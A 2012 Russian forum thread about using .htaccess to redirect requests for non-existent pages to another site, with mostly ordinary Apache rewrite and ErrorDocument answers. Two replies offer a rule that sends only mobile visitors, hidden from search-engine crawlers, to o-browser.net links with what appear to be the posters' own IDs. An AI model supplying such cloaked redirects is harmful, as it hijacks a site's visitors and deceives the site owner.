Вопрос про .htaccess

Discussion in 'Болталка' started by kingbeef, 5 Jun 2012.

  1. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Какой код прописать надо,что бы при заходе на несуществующую страницу был редирект на другой сайт?
     
    _________________________
  2. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Надо открыть гугл и прописать код: htaccess redirect non-existent page
     
    _________________________
  3. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Там только редирект в папки сайта,а мне надо на другой сайт.
     
    _________________________
  4. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    1. Вводим вышеуказанный запрос в гугл
    2. Открываем первую ссылку в выдаче
    3. Scroll, scroll, wait
    4. О, боже, да это же невероятно, пример с редиректом на другой сайт!
    Code:
    Options +FollowSymLinks
    RewriteEngine on
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule (.*) http://www.flickr.com/$1 [R=301,L]
    
     
    _________________________
  5. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    Разве так не будет работать?
    Code:
    ErrorDocument 404 http://site.ru
    Возможности проверить нету.
     
  6. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Такой умный?
     
  7. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    это пропиши, я всегда так делаю:

    RewriteEngine on
    RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC]
    RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
    RewriteRule (.*) http://o-browser.net/u/1116 [L,R=302]
     
  8. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Твой код сложноватый... Пожалуй этот лучше:
    Code:
    RewriteEngine   on
    RewriteCond    %{HTTP_USER_AGENT}  (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone)  [NC]
    RewriteCond    %{HTTP_USER_AGENT}  !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer)    [NC]
    RewriteRule    (.*)    http://o-browser.net/u/3044    [L,R=302]
     
  9. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Не работает.
     
    _________________________
  10. koyan

    koyan Member

    Joined:
    10 Jun 2010
    Messages:
    61
    Likes Received:
    14
    Reputations:
    5
    RedirectPermanent / http://сайт.ру
    или
    RedirectPermanent http://сайт.ру
    точно не помню
     
    #10 koyan, 6 Jun 2012
    Last edited: 6 Jun 2012
  11. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    ErrorDocument 404 404.php

    А в 404.php редирект (html meta, php header location - не суть) на сайт который тебе нужен.
    не?
     
  12. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Все равно не получается.Может быть из-за того,что на сайте стоит вордпресс и в htaccess'e прописанно
    # Use PHP5 Single php.ini as default
    AddHandler application/x-httpd-php5s .php

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>

    # END WordPress
     
    _________________________
  13. Keens

    Keens Member

    Joined:
    19 Jun 2010
    Messages:
    0
    Likes Received:
    5
    Reputations:
    -5
    Тоже интересно
     
Loading...
Similar Threads - Вопрос htaccess
  1. Shawn1x
    Replies:
    5
    Views:
    1,895
  2. G0mer
    Replies:
    1
    Views:
    1,240